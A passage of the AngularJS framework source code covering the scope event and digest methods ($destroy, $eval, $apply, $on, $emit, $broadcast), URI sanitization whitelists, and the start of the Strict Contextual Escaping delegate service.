12544 } while ((current = next));
12545
12546 // `break traverseScopesLoop;` takes us to here
12547
12548 if((dirty || asyncQueue.length) && !(ttl--)) {
12549 clearPhase();
12550 throw $rootScopeMinErr('infdig',
12551 '{0} $digest() iterations reached. Aborting!\n' +
12552 'Watchers fired in the last 5 iterations: {1}',
12553 TTL, toJson(watchLog));
12554 }
12555
12556 } while (dirty || asyncQueue.length);
12557
12558 clearPhase();
12559
12560 while(postDigestQueue.length) {
12561 try {
12562 postDigestQueue.shift()();
12563 } catch (e) {
12564 $exceptionHandler(e);
12565 }
12566 }
12567 },
12568
12569
12570 /**
12571 * @ngdoc event
12572 * @name $rootScope.Scope#$destroy
12573 * @eventType broadcast on scope being destroyed
12574 *
12575 * @description
12576 * Broadcasted when a scope and its children are being destroyed.
12577 *
12578 * Note that, in AngularJS, there is also a `$destroy` jQuery event, which can be used to
12579 * clean up DOM bindings before an element is removed from the DOM.
12580 */
12581
12582 /**
12583 * @ngdoc method
12584 * @name $rootScope.Scope#$destroy
12585 * @kind function
12586 *
12587 * @description
12588 * Removes the current scope (and all of its children) from the parent scope. Removal implies
12589 * that calls to {@link ng.$rootScope.Scope#$digest $digest()} will no longer
12590 * propagate to the current scope and its children. Removal also implies that the current
12591 * scope is eligible for garbage collection.
12592 *
12593 * The `$destroy()` is usually used by directives such as
12594 * {@link ng.directive:ngRepeat ngRepeat} for managing the
12595 * unrolling of the loop.
12596 *
12597 * Just before a scope is destroyed, a `$destroy` event is broadcasted on this scope.
12598 * Application code can register a `$destroy` event handler that will give it a chance to
12599 * perform any necessary cleanup.
12600 *
12601 * Note that, in AngularJS, there is also a `$destroy` jQuery event, which can be used to
12602 * clean up DOM bindings before an element is removed from the DOM.
12603 */
12604 $destroy: function() {
12605 // we can't destroy the root scope or a scope that has been already destroyed
12606 if (this.$$destroyed) return;
12607 var parent = this.$parent;
12608
12609 this.$broadcast('$destroy');
12610 this.$$destroyed = true;
12611 if (this === $rootScope) return;
12612
12613 forEach(this.$$listenerCount, bind(null, decrementListenerCount, this));
12614
12615 // sever all the references to parent scopes (after this cleanup, the current scope should
12616 // not be retained by any of our references and should be eligible for garbage collection)
12617 if (parent.$$childHead == this) parent.$$childHead = this.$$nextSibling;
12618 if (parent.$$childTail == this) parent.$$childTail = this.$$prevSibling;
12619 if (this.$$prevSibling) this.$$prevSibling.$$nextSibling = this.$$nextSibling;
12620 if (this.$$nextSibling) this.$$nextSibling.$$prevSibling = this.$$prevSibling;
12621
12622
12623 // All of the code below is bogus code that works around V8's memory leak via optimized code
12624 // and inline caches.
12625 //
12626 // see:
12627 // - https://code.google.com/p/v8/issues/detail?id=2073#c26
12628 // - https://github.com/angular/angular.js/issues/6794#issuecomment-38648909
12629 // - https://github.com/angular/angular.js/issues/1313#issuecomment-10378451
12630
12631 this.$parent = this.$$nextSibling = this.$$prevSibling = this.$$childHead =
12632 this.$$childTail = this.$root = null;
12633
12634 // don't reset these to null in case some async task tries to register a listener/watch/task
12635 this.$$listeners = {};
12636 this.$$watchers = this.$$asyncQueue = this.$$postDigestQueue = [];
12637
12638 // prevent NPEs since these methods have references to properties we nulled out
12639 this.$destroy = this.$digest = this.$apply = noop;
12640 this.$on = this.$watch = function() { return noop; };
12641 },
12642
12643 /**
12644 * @ngdoc method
12645 * @name $rootScope.Scope#$eval
12646 * @kind function
12647 *
12648 * @description
12649 * Executes the `expression` on the current scope and returns the result. Any exceptions in
12650 * the expression are propagated (uncaught). This is useful when evaluating Angular
12651 * expressions.
12652 *
12653 * # Example
12654 * ```js
12655 var scope = ng.$rootScope.Scope();
12656 scope.a = 1;
12657 scope.b = 2;
12658
12659 expect(scope.$eval('a+b')).toEqual(3);
12660 expect(scope.$eval(function(scope){ return scope.a + scope.b; })).toEqual(3);
12661 * ```
12662 *
12663 * @param {(string|function())=} expression An angular expression to be executed.
12664 *
12665 * - `string`: execute using the rules as defined in {@link guide/expression expression}.
12666 * - `function(scope)`: execute the function with the current `scope` parameter.
12667 *
12668 * @param {(object)=} locals Local variables object, useful for overriding values in scope.
12669 * @returns {*} The result of evaluating the expression.
12670 */
12671 $eval: function(expr, locals) {
12672 return $parse(expr)(this, locals);
12673 },
12674
12675 /**
12676 * @ngdoc method
12677 * @name $rootScope.Scope#$evalAsync
12678 * @kind function
12679 *
12680 * @description
12681 * Executes the expression on the current scope at a later point in time.
12682 *
12683 * The `$evalAsync` makes no guarantees as to when the `expression` will be executed, only
12684 * that:
12685 *
12686 * - it will execute after the function that scheduled the evaluation (preferably before DOM
12687 * rendering).
12688 * - at least one {@link ng.$rootScope.Scope#$digest $digest cycle} will be performed after
12689 * `expression` execution.
12690 *
12691 * Any exceptions from the execution of the expression are forwarded to the
12692 * {@link ng.$exceptionHandler $exceptionHandler} service.
12693 *
12694 * __Note:__ if this function is called outside of a `$digest` cycle, a new `$digest` cycle
12695 * will be scheduled. However, it is encouraged to always call code that changes the model
12696 * from within an `$apply` call. That includes code evaluated via `$evalAsync`.
12697 *
12698 * @param {(string|function())=} expression An angular expression to be executed.
12699 *
12700 * - `string`: execute using the rules as defined in {@link guide/expression expression}.
12701 * - `function(scope)`: execute the function with the current `scope` parameter.
12702 *
12703 */
12704 $evalAsync: function(expr) {
12705 // if we are outside of an $digest loop and this is the first time we are scheduling async
12706 // task also schedule async auto-flush
12707 if (!$rootScope.$$phase && !$rootScope.$$asyncQueue.length) {
12708 $browser.defer(function() {
12709 if ($rootScope.$$asyncQueue.length) {
12710 $rootScope.$digest();
12711 }
12712 });
12713 }
12714
12715 this.$$asyncQueue.push({scope: this, expression: expr});
12716 },
12717
12718 $$postDigest : function(fn) {
12719 this.$$postDigestQueue.push(fn);
12720 },
12721
12722 /**
12723 * @ngdoc method
12724 * @name $rootScope.Scope#$apply
12725 * @kind function
12726 *
12727 * @description
12728 * `$apply()` is used to execute an expression in angular from outside of the angular
12729 * framework. (For example from browser DOM events, setTimeout, XHR or third party libraries).
12730 * Because we are calling into the angular framework we need to perform proper scope life
12731 * cycle of {@link ng.$exceptionHandler exception handling},
12732 * {@link ng.$rootScope.Scope#$digest executing watches}.
12733 *
12734 * ## Life cycle
12735 *
12736 * # Pseudo-Code of `$apply()`
12737 * ```js
12738 function $apply(expr) {
12739 try {
12740 return $eval(expr);
12741 } catch (e) {
12742 $exceptionHandler(e);
12743 } finally {
12744 $root.$digest();
12745 }
12746 }
12747 * ```
12748 *
12749 *
12750 * Scope's `$apply()` method transitions through the following stages:
12751 *
12752 * 1. The {@link guide/expression expression} is executed using the
12753 * {@link ng.$rootScope.Scope#$eval $eval()} method.
12754 * 2. Any exceptions from the execution of the expression are forwarded to the
12755 * {@link ng.$exceptionHandler $exceptionHandler} service.
12756 * 3. The {@link ng.$rootScope.Scope#$watch watch} listeners are fired immediately after the
12757 * expression was executed using the {@link ng.$rootScope.Scope#$digest $digest()} method.
12758 *
12759 *
12760 * @param {(string|function())=} exp An angular expression to be executed.
12761 *
12762 * - `string`: execute using the rules as defined in {@link guide/expression expression}.
12763 * - `function(scope)`: execute the function with current `scope` parameter.
12764 *
12765 * @returns {*} The result of evaluating the expression.
12766 */
12767 $apply: function(expr) {
12768 try {
12769 beginPhase('$apply');
12770 return this.$eval(expr);
12771 } catch (e) {
12772 $exceptionHandler(e);
12773 } finally {
12774 clearPhase();
12775 try {
12776 $rootScope.$digest();
12777 } catch (e) {
12778 $exceptionHandler(e);
12779 throw e;
12780 }
12781 }
12782 },
12783
12784 /**
12785 * @ngdoc method
12786 * @name $rootScope.Scope#$on
12787 * @kind function
12788 *
12789 * @description
12790 * Listens on events of a given type. See {@link ng.$rootScope.Scope#$emit $emit} for
12791 * discussion of event life cycle.
12792 *
12793 * The event listener function format is: `function(event, args...)`. The `event` object
12794 * passed into the listener has the following attributes:
12795 *
12796 * - `targetScope` - `{Scope}`: the scope on which the event was `$emit`-ed or
12797 * `$broadcast`-ed.
12798 * - `currentScope` - `{Scope}`: the current scope which is handling the event.
12799 * - `name` - `{string}`: name of the event.
12800 * - `stopPropagation` - `{function=}`: calling `stopPropagation` function will cancel
12801 * further event propagation (available only for events that were `$emit`-ed).
12802 * - `preventDefault` - `{function}`: calling `preventDefault` sets `defaultPrevented` flag
12803 * to true.
12804 * - `defaultPrevented` - `{boolean}`: true if `preventDefault` was called.
12805 *
12806 * @param {string} name Event name to listen on.
12807 * @param {function(event, ...args)} listener Function to call when the event is emitted.
12808 * @returns {function()} Returns a deregistration function for this listener.
12809 */
12810 $on: function(name, listener) {
12811 var namedListeners = this.$$listeners[name];
12812 if (!namedListeners) {
12813 this.$$listeners[name] = namedListeners = [];
12814 }
12815 namedListeners.push(listener);
12816
12817 var current = this;
12818 do {
12819 if (!current.$$listenerCount[name]) {
12820 current.$$listenerCount[name] = 0;
12821 }
12822 current.$$listenerCount[name]++;
12823 } while ((current = current.$parent));
12824
12825 var self = this;
12826 return function() {
12827 namedListeners[indexOf(namedListeners, listener)] = null;
12828 decrementListenerCount(self, 1, name);
12829 };
12830 },
12831
12832
12833 /**
12834 * @ngdoc method
12835 * @name $rootScope.Scope#$emit
12836 * @kind function
12837 *
12838 * @description
12839 * Dispatches an event `name` upwards through the scope hierarchy notifying the
12840 * registered {@link ng.$rootScope.Scope#$on} listeners.
12841 *
12842 * The event life cycle starts at the scope on which `$emit` was called. All
12843 * {@link ng.$rootScope.Scope#$on listeners} listening for `name` event on this scope get
12844 * notified. Afterwards, the event traverses upwards toward the root scope and calls all
12845 * registered listeners along the way. The event will stop propagating if one of the listeners
12846 * cancels it.
12847 *
12848 * Any exception emitted from the {@link ng.$rootScope.Scope#$on listeners} will be passed
12849 * onto the {@link ng.$exceptionHandler $exceptionHandler} service.
12850 *
12851 * @param {string} name Event name to emit.
12852 * @param {...*} args Optional one or more arguments which will be passed onto the event listeners.
12853 * @return {Object} Event object (see {@link ng.$rootScope.Scope#$on}).
12854 */
12855 $emit: function(name, args) {
12856 var empty = [],
12857 namedListeners,
12858 scope = this,
12859 stopPropagation = false,
12860 event = {
12861 name: name,
12862 targetScope: scope,
12863 stopPropagation: function() {stopPropagation = true;},
12864 preventDefault: function() {
12865 event.defaultPrevented = true;
12866 },
12867 defaultPrevented: false
12868 },
12869 listenerArgs = concat([event], arguments, 1),
12870 i, length;
12871
12872 do {
12873 namedListeners = scope.$$listeners[name] || empty;
12874 event.currentScope = scope;
12875 for (i=0, length=namedListeners.length; i<length; i++) {
12876
12877 // if listeners were deregistered, defragment the array
12878 if (!namedListeners[i]) {
12879 namedListeners.splice(i, 1);
12880 i--;
12881 length--;
12882 continue;
12883 }
12884 try {
12885 //allow all listeners attached to the current scope to run
12886 namedListeners[i].apply(null, listenerArgs);
12887 } catch (e) {
12888 $exceptionHandler(e);
12889 }
12890 }
12891 //if any listener on the current scope stops propagation, prevent bubbling
12892 if (stopPropagation) return event;
12893 //traverse upwards
12894 scope = scope.$parent;
12895 } while (scope);
12896
12897 return event;
12898 },
12899
12900
12901 /**
12902 * @ngdoc method
12903 * @name $rootScope.Scope#$broadcast
12904 * @kind function
12905 *
12906 * @description
12907 * Dispatches an event `name` downwards to all child scopes (and their children) notifying the
12908 * registered {@link ng.$rootScope.Scope#$on} listeners.
12909 *
12910 * The event life cycle starts at the scope on which `$broadcast` was called. All
12911 * {@link ng.$rootScope.Scope#$on listeners} listening for `name` event on this scope get
12912 * notified. Afterwards, the event propagates to all direct and indirect scopes of the current
12913 * scope and calls all registered listeners along the way. The event cannot be canceled.
12914 *
12915 * Any exception emitted from the {@link ng.$rootScope.Scope#$on listeners} will be passed
12916 * onto the {@link ng.$exceptionHandler $exceptionHandler} service.
12917 *
12918 * @param {string} name Event name to broadcast.
12919 * @param {...*} args Optional one or more arguments which will be passed onto the event listeners.
12920 * @return {Object} Event object, see {@link ng.$rootScope.Scope#$on}
12921 */
12922 $broadcast: function(name, args) {
12923 var target = this,
12924 current = target,
12925 next = target,
12926 event = {
12927 name: name,
12928 targetScope: target,
12929 preventDefault: function() {
12930 event.defaultPrevented = true;
12931 },
12932 defaultPrevented: false
12933 },
12934 listenerArgs = concat([event], arguments, 1),
12935 listeners, i, length;
12936
12937 //down while you can, then up and next sibling or up and next sibling until back at root
12938 while ((current = next)) {
12939 event.currentScope = current;
12940 listeners = current.$$listeners[name] || [];
12941 for (i=0, length = listeners.length; i<length; i++) {
12942 // if listeners were deregistered, defragment the array
12943 if (!listeners[i]) {
12944 listeners.splice(i, 1);
12945 i--;
12946 length--;
12947 continue;
12948 }
12949
12950 try {
12951 listeners[i].apply(null, listenerArgs);
12952 } catch(e) {
12953 $exceptionHandler(e);
12954 }
12955 }
12956
12957 // Insanity Warning: scope depth-first traversal
12958 // yes, this code is a bit crazy, but it works and we have tests to prove it!
12959 // this piece should be kept in sync with the traversal in $digest
12960 // (though it differs due to having the extra check for $$listenerCount)
12961 if (!(next = ((current.$$listenerCount[name] && current.$$childHead) ||
12962 (current !== target && current.$$nextSibling)))) {
12963 while(current !== target && !(next = current.$$nextSibling)) {
12964 current = current.$parent;
12965 }
12966 }
12967 }
12968
12969 return event;
12970 }
12971 };
12972
12973 var $rootScope = new Scope();
12974
12975 return $rootScope;
12976
12977
12978 function beginPhase(phase) {
12979 if ($rootScope.$$phase) {
12980 throw $rootScopeMinErr('inprog', '{0} already in progress', $rootScope.$$phase);
12981 }
12982
12983 $rootScope.$$phase = phase;
12984 }
12985
12986 function clearPhase() {
12987 $rootScope.$$phase = null;
12988 }
12989
12990 function compileToFn(exp, name) {
12991 var fn = $parse(exp);
12992 assertArgFn(fn, name);
12993 return fn;
12994 }
12995
12996 function decrementListenerCount(current, count, name) {
12997 do {
12998 current.$$listenerCount[name] -= count;
12999
13000 if (current.$$listenerCount[name] === 0) {
13001 delete current.$$listenerCount[name];
13002 }
13003 } while ((current = current.$parent));
13004 }
13005
13006 /**
13007 * function used as an initial value for watchers.
13008 * because it's unique we can easily tell it apart from other values
13009 */
13010 function initWatchVal() {}
13011 }];
13012 }
13013
13014 /**
13015 * @description
13016 * Private service to sanitize uris for links and images. Used by $compile and $sanitize.
13017 */
13018 function $$SanitizeUriProvider() {
13019 var aHrefSanitizationWhitelist = /^\s*(https?|ftp|mailto|tel|file):/,
13020 imgSrcSanitizationWhitelist = /^\s*((https?|ftp|file):|data:image\/)/;
13021
13022 /**
13023 * @description
13024 * Retrieves or overrides the default regular expression that is used for whitelisting of safe
13025 * urls during a[href] sanitization.
13026 *
13027 * The sanitization is a security measure aimed at prevent XSS attacks via html links.
13028 *
13029 * Any url about to be assigned to a[href] via data-binding is first normalized and turned into
13030 * an absolute url. Afterwards, the url is matched against the `aHrefSanitizationWhitelist`
13031 * regular expression. If a match is found, the original url is written into the dom. Otherwise,
13032 * the absolute url is prefixed with `'unsafe:'` string and only then is it written into the DOM.
13033 *
13034 * @param {RegExp=} regexp New regexp to whitelist urls with.
13035 * @returns {RegExp|ng.$compileProvider} Current RegExp if called without value or self for
13036 * chaining otherwise.
13037 */
13038 this.aHrefSanitizationWhitelist = function(regexp) {
13039 if (isDefined(regexp)) {
13040 aHrefSanitizationWhitelist = regexp;
13041 return this;
13042 }
13043 return aHrefSanitizationWhitelist;
13044 };
13045
13046
13047 /**
13048 * @description
13049 * Retrieves or overrides the default regular expression that is used for whitelisting of safe
13050 * urls during img[src] sanitization.
13051 *
13052 * The sanitization is a security measure aimed at prevent XSS attacks via html links.
13053 *
13054 * Any url about to be assigned to img[src] via data-binding is first normalized and turned into
13055 * an absolute url. Afterwards, the url is matched against the `imgSrcSanitizationWhitelist`
13056 * regular expression. If a match is found, the original url is written into the dom. Otherwise,
13057 * the absolute url is prefixed with `'unsafe:'` string and only then is it written into the DOM.
13058 *
13059 * @param {RegExp=} regexp New regexp to whitelist urls with.
13060 * @returns {RegExp|ng.$compileProvider} Current RegExp if called without value or self for
13061 * chaining otherwise.
13062 */
13063 this.imgSrcSanitizationWhitelist = function(regexp) {
13064 if (isDefined(regexp)) {
13065 imgSrcSanitizationWhitelist = regexp;
13066 return this;
13067 }
13068 return imgSrcSanitizationWhitelist;
13069 };
13070
13071 this.$get = function() {
13072 return function sanitizeUri(uri, isImage) {
13073 var regex = isImage ? imgSrcSanitizationWhitelist : aHrefSanitizationWhitelist;
13074 var normalizedVal;
13075 // NOTE: urlResolve() doesn't support IE < 8 so we don't sanitize for that case.
13076 if (!msie || msie >= 8 ) {
13077 normalizedVal = urlResolve(uri).href;
13078 if (normalizedVal !== '' && !normalizedVal.match(regex)) {
13079 return 'unsafe:'+normalizedVal;
13080 }
13081 }
13082 return uri;
13083 };
13084 };
13085 }
13086
13087 var $sceMinErr = minErr('$sce');
13088
13089 var SCE_CONTEXTS = {
13090 HTML: 'html',
13091 CSS: 'css',
13092 URL: 'url',
13093 // RESOURCE_URL is a subtype of URL used in contexts where a privileged resource is sourced from a
13094 // url. (e.g. ng-include, script src, templateUrl)
13095 RESOURCE_URL: 'resourceUrl',
13096 JS: 'js'
13097 };
13098
13099 // Helper functions follow.
13100
13101 // Copied from:
13102 // http://docs.closure-library.googlecode.com/git/closure_goog_string_string.js.source.html#line962
13103 // Prereq: s is a string.
13104 function escapeForRegexp(s) {
13105 return s.replace(/([-()\[\]{}+?*.$\^|,:#<!\\])/g, '\\$1').
13106 replace(/\x08/g, '\\x08');
13107 }
13108
13109
13110 function adjustMatcher(matcher) {
13111 if (matcher === 'self') {
13112 return matcher;
13113 } else if (isString(matcher)) {
13114 // Strings match exactly except for 2 wildcards - '*' and '**'.
13115 // '*' matches any character except those from the set ':/.?&'.
13116 // '**' matches any character (like .* in a RegExp).
13117 // More than 2 *'s raises an error as it's ill defined.
13118 if (matcher.indexOf('***') > -1) {
13119 throw $sceMinErr('iwcard',
13120 'Illegal sequence *** in string matcher. String: {0}', matcher);
13121 }
13122 matcher = escapeForRegexp(matcher).
13123 replace('\\*\\*', '.*').
13124 replace('\\*', '[^:/.?&;]*');
13125 return new RegExp('^' + matcher + '$');
13126 } else if (isRegExp(matcher)) {
13127 // The only other type of matcher allowed is a Regexp.
13128 // Match entire URL / disallow partial matches.
13129 // Flags are reset (i.e. no global, ignoreCase or multiline)
13130 return new RegExp('^' + matcher.source + '$');
13131 } else {
13132 throw $sceMinErr('imatcher',
13133 'Matchers may only be "self", string patterns or RegExp objects');
13134 }
13135 }
13136
13137
13138 function adjustMatchers(matchers) {
13139 var adjustedMatchers = [];
13140 if (isDefined(matchers)) {
13141 forEach(matchers, function(matcher) {
13142 adjustedMatchers.push(adjustMatcher(matcher));
13143 });
13144 }
13145 return adjustedMatchers;
13146 }
13147
13148
13149 /**
13150 * @ngdoc service
13151 * @name $sceDelegate
13152 * @kind function
13153 *
13154 * @description
13155 *
13156 * `$sceDelegate` is a service that is used by the `$sce` service to provide {@link ng.$sce Strict
13157 * Contextual Escaping (SCE)} services to AngularJS.
13158 *
13159 * Typically, you would configure or override the {@link ng.$sceDelegate $sceDelegate} instead of
13160 * the `$sce` service to customize the way Strict Contextual Escaping works in AngularJS. This is
13161 * because, while the `$sce` provides numerous shorthand methods, etc., you really only need to
13162 * override 3 core functions (`trustAs`, `getTrusted` and `valueOf`) to replace the way things
13163 * work because `$sce` delegates to `$sceDelegate` for these operations.
13164 *
13165 * Refer {@link ng.$sceDelegateProvider $sceDelegateProvider} to configure this service.
13166 *
13167 * The default instance of `$sceDelegate` should work out of the box with little pain. While you
13168 * can override it completely to change the behavior of `$sce`, the common case would
13169 * involve configuring the {@link ng.$sceDelegateProvider $sceDelegateProvider} instead by setting
13170 * your own whitelists and blacklists for trusting URLs used for loading AngularJS resources such as
13171 * templates. Refer {@link ng.$sceDelegateProvider#resourceUrlWhitelist
13172 * $sceDelegateProvider.resourceUrlWhitelist} and {@link
13173 * ng.$sceDelegateProvider#resourceUrlBlacklist $sceDelegateProvider.resourceUrlBlacklist}
13174 */
13175
13176 /**
13177 * @ngdoc provider
13178 * @name $sceDelegateProvider
13179 * @description
13180 *
13181 * The `$sceDelegateProvider` provider allows developers to configure the {@link ng.$sceDelegate
13182 * $sceDelegate} service. This allows one to get/set the whitelists and blacklists used to ensure
13183 * that the URLs used for sourcing Angular templates are safe. Refer {@link
13184 * ng.$sceDelegateProvider#resourceUrlWhitelist $sceDelegateProvider.resourceUrlWhitelist} and
13185 * {@link ng.$sceDelegateProvider#resourceUrlBlacklist $sceDelegateProvider.resourceUrlBlacklist}
13186 *
13187 * For the general details about this service in Angular, read the main page for {@link ng.$sce
13188 * Strict Contextual Escaping (SCE)}.
13189 *
13190 * **Example**: Consider the following case. <a name="example"></a>
13191 *
13192 * - your app is hosted at url `http://myapp.example.com/`
13193 * - but some of your templates are hosted on other domains you control such as
13194 * `http://srv01.assets.example.com/`,  `http://srv02.assets.example.com/`, etc.
13195 * - and you have an open redirect at `http://myapp.example.com/clickThru?...`.
13196 *
13197 * Here is what a secure configuration for this scenario might look like:
13198 *
13199 * ```
13200 * angular.module('myApp', []).config(function($sceDelegateProvider) {
13201 * $sceDelegateProvider.resourceUrlWhitelist([
13202 * // Allow same origin resource loads.
13203 * 'self',
13204 * // Allow loading from our assets domain. Notice the difference between * and **.
13205 * 'http://srv*.assets.example.com/**'
13206 * ]);
13207 *
13208 * // The blacklist overrides the whitelist so the open redirect here is blocked.
13209 * $sceDelegateProvider.resourceUrlBlacklist([
13210 * 'http://myapp.example.com/clickThru**'
13211 * ]);
13212 * });
13213 * ```
13214 */
13215
13216 function $SceDelegateProvider() {
13217 this.SCE_CONTEXTS = SCE_CONTEXTS;
13218
13219 // Resource URLs can also be trusted by policy.
13220 var resourceUrlWhitelist = ['self'],
13221 resourceUrlBlacklist = [];
13222
13223 /**
13224 * @ngdoc method
13225 * @name $sceDelegateProvider#resourceUrlWhitelist
13226 * @kind function
13227 *
13228 * @param {Array=} whitelist When provided, replaces the resourceUrlWhitelist with the value
13229 * provided. This must be an array or null. A snapshot of this array is used so further
13230 * changes to the array are ignored.
13231 *
13232 * Follow {@link ng.$sce#resourceUrlPatternItem this link} for a description of the items
13233 * allowed in this array.
13234 *
13235 * Note: **an empty whitelist array will block all URLs**!
13236 *
13237 * @return {Array} the currently set whitelist array.
13238 *
13239 * The **default value** when no whitelist has been explicitly set is `['self']` allowing only
13240 * same origin resource requests.
13241 *
13242 * @description
13243 * Sets/Gets the whitelist of trusted resource URLs.
13244 */
13245 this.resourceUrlWhitelist = function (value) {
13246 if (arguments.length) {
13247 resourceUrlWhitelist = adjustMatchers(value);
13248 }
13249 return resourceUrlWhitelist;
13250 };
13251
13252 /**
13253 * @ngdoc method
13254 * @name $sceDelegateProvider#resourceUrlBlacklist
13255 * @kind function
13256 *
13257 * @param {Array=} blacklist When provided, replaces the resourceUrlBlacklist with the value
13258 * provided. This must be an array or null. A snapshot of this array is used so further
13259 * changes to the array are ignored.
13260 *
13261 * Follow {@link ng.$sce#resourceUrlPatternItem this link} for a description of the items
13262 * allowed in this array.
13263 *
13264 * The typical usage for the blacklist is to **block
13265 * [open redirects](http://cwe.mitre.org/data/definitions/601.html)** served by your domain as
13266 * these would otherwise be trusted but actually return content from the redirected domain.
13267 *
13268 * Finally, **the blacklist overrides the whitelist** and has the final say.
13269 *
13270 * @return {Array} the currently set blacklist array.
13271 *
13272 * The **default value** when no whitelist has been explicitly set is the empty array (i.e. there
13273 * is no blacklist.)
13274 *
13275 * @description
13276 * Sets/Gets the blacklist of trusted resource URLs.
13277 */
13278
13279 this.resourceUrlBlacklist = function (value) {
13280 if (arguments.length) {
13281 resourceUrlBlacklist = adjustMatchers(value);
13282 }
13283 return resourceUrlBlacklist;
13284 };
13285
13286 this.$get = ['$injector', function($injector) {
13287
13288 var htmlSanitizer = function htmlSanitizer(html) {
13289 throw $sceMinErr('unsafe', 'Attempting to use an unsafe value in a safe context.');
13290 };
13291
13292 if ($injector.has('$sanitize')) {
13293 htmlSanitizer = $injector.get('$sanitize');
13294 }
13295
13296
13297 function matchUrl(matcher, parsedUrl) {
13298 if (matcher === 'self') {
13299 return urlIsSameOrigin(parsedUrl);
13300 } else {
13301 // definitely a regex. See adjustMatchers()
13302 return !!matcher.exec(parsedUrl.href);
13303 }
13304 }
13305
13306 function isResourceUrlAllowedByPolicy(url) {
13307 var parsedUrl = urlResolve(url.toString());
13308 var i, n, allowed = false;
13309 // Ensure that at least one item from the whitelist allows this url.
13310 for (i = 0, n = resourceUrlWhitelist.length; i < n; i++) {
13311 if (matchUrl(resourceUrlWhitelist[i], parsedUrl)) {
13312 allowed = true;
13313 break;
13314 }
13315 }
13316 if (allowed) {
13317 // Ensure that no item from the blacklist blocked this url.
13318 for (i = 0, n = resourceUrlBlacklist.length; i < n; i++) {
13319 if (matchUrl(resourceUrlBlacklist[i], parsedUrl)) {
13320 allowed = false;
13321 break;
13322 }
13323 }
13324 }
13325 return allowed;
13326 }
13327
13328 function generateHolderType(Base) {
13329 var holderType = function TrustedValueHolderType(trustedValue) {
13330 this.$$unwrapTrustedValue = function() {
13331 return trustedValue;
13332 };
13333 };
13334 if (Base) {
13335 holderType.prototype = new Base();
13336 }
13337 holderType.prototype.valueOf = function sceValueOf() {
13338 return this.$$unwrapTrustedValue();
13339 };
13340 holderType.prototype.toString = function sceToString() {
13341 return this.$$unwrapTrustedValue().toString();
13342 };
13343 return holderType;
13344 }
13345
13346 var trustedValueHolderBase = generateHolderType(),
13347 byType = {};
13348
13349 byType[SCE_CONTEXTS.HTML] = generateHolderType(trustedValueHolderBase);
13350 byType[SCE_CONTEXTS.CSS] = generateHolderType(trustedValueHolderBase);
13351 byType[SCE_CONTEXTS.URL] = generateHolderType(trustedValueHolderBase);
13352 byType[SCE_CONTEXTS.JS] = generateHolderType(trustedValueHolderBase);
13353 byType[SCE_CONTEXTS.RESOURCE_URL] = generateHolderType(byType[SCE_CONTEXTS.URL]);
13354
13355 /**
13356 * @ngdoc method
13357 * @name $sceDelegate#trustAs
13358 *
13359 * @description
13360 * Returns an object that is trusted by angular for use in specified strict
13361 * contextual escaping contexts (such as ng-bind-html, ng-include, any src
13362 * attribute interpolation, any dom event binding attribute interpolation
13363 * such as for onclick, etc.) that uses the provided value.
13364 * See {@link ng.$sce $sce} for enabling strict contextual escaping.
13365 *
13366 * @param {string} type The kind of context in which this value is safe for use. e.g. url,
13367 * resourceUrl, html, js and css.
13368 * @param {*} value The value that that should be considered trusted/safe.
13369 * @returns {*} A value that can be used to stand in for the provided `value` in places
13370 * where Angular expects a $sce.trustAs() return value.
13371 */
13372 function trustAs(type, trustedValue) {
13373 var Constructor = (byType.hasOwnProperty(type) ? byType[type] : null);
13374 if (!Constructor) {
13375 throw $sceMinErr('icontext',
13376 'Attempted to trust a value in invalid context. Context: {0}; Value: {1}',
13377 type, trustedValue);
13378 }
13379 if (trustedValue === null || trustedValue === undefined || trustedValue === '') {
13380 return trustedValue;
13381 }
13382 // All the current contexts in SCE_CONTEXTS happen to be strings. In order to avoid trusting
13383 // mutable objects, we ensure here that the value passed in is actually a string.
13384 if (typeof trustedValue !== 'string') {
13385 throw $sceMinErr('itype',
13386 'Attempted to trust a non-string value in a content requiring a string: Context: {0}',
13387 type);
13388 }
13389 return new Constructor(trustedValue);
13390 }
13391
13392 /**
13393 * @ngdoc method
13394 * @name $sceDelegate#valueOf
13395 *
13396 * @description
13397 * If the passed parameter had been returned by a prior call to {@link ng.$sceDelegate#trustAs
13398 * `$sceDelegate.trustAs`}, returns the value that had been passed to {@link
13399 * ng.$sceDelegate#trustAs `$sceDelegate.trustAs`}.
13400 *
13401 * If the passed parameter is not a value that had been returned by {@link
13402 * ng.$sceDelegate#trustAs `$sceDelegate.trustAs`}, returns it as-is.
13403 *
13404 * @param {*} value The result of a prior {@link ng.$sceDelegate#trustAs `$sceDelegate.trustAs`}
13405 * call or anything else.
13406 * @returns {*} The `value` that was originally provided to {@link ng.$sceDelegate#trustAs
13407 * `$sceDelegate.trustAs`} if `value` is the result of such a call. Otherwise, returns
13408 * `value` unchanged.
13409 */
13410 function valueOf(maybeTrusted) {
13411 if (maybeTrusted instanceof trustedValueHolderBase) {
13412 return maybeTrusted.$$unwrapTrustedValue();
13413 } else {
13414 return maybeTrusted;
13415 }
13416 }
13417
13418 /**
13419 * @ngdoc method
13420 * @name $sceDelegate#getTrusted
13421 *
13422 * @description
13423 * Takes the result of a {@link ng.$sceDelegate#trustAs `$sceDelegate.trustAs`} call and
13424 * returns the originally supplied value if the queried context type is a supertype of the
13425 * created type. If this condition isn't satisfied, throws an exception.
13426 *
13427 * @param {string} type The kind of context in which this value is to be used.
13428 * @param {*} maybeTrusted The result of a prior {@link ng.$sceDelegate#trustAs
13429 * `$sceDelegate.trustAs`} call.
13430 * @returns {*} The value the was originally provided to {@link ng.$sceDelegate#trustAs
13431 * `$sceDelegate.trustAs`} if valid in this context. Otherwise, throws an exception.
13432 */
13433 function getTrusted(type, maybeTrusted) {
13434 if (maybeTrusted === null || maybeTrusted === undefined || maybeTrusted === '') {
13435 return maybeTrusted;
13436 }
13437 var constructor = (byType.hasOwnProperty(type) ? byType[type] : null);
13438 if (constructor && maybeTrusted instanceof constructor) {
13439 return maybeTrusted.$$unwrapTrustedValue();
13440 }
13441 // If we get here, then we may only take one of two actions.
13442 // 1. sanitize the value for the requested type, or
13443 // 2. throw an exception.
13444 if (type === SCE_CONTEXTS.RESOURCE_URL) {
13445 if (isResourceUrlAllowedByPolicy(maybeTrusted)) {
13446 return maybeTrusted;
13447 } else {
13448 throw $sceMinErr('insecurl',
13449 'Blocked loading resource from url not allowed by $sceDelegate policy. URL: {0}',
13450 maybeTrusted.toString());
13451 }
13452 } else if (type === SCE_CONTEXTS.HTML) {
13453 return htmlSanitizer(maybeTrusted);
13454 }
13455 throw $sceMinErr('unsafe', 'Attempting to use an unsafe value in a safe context.');
13456 }
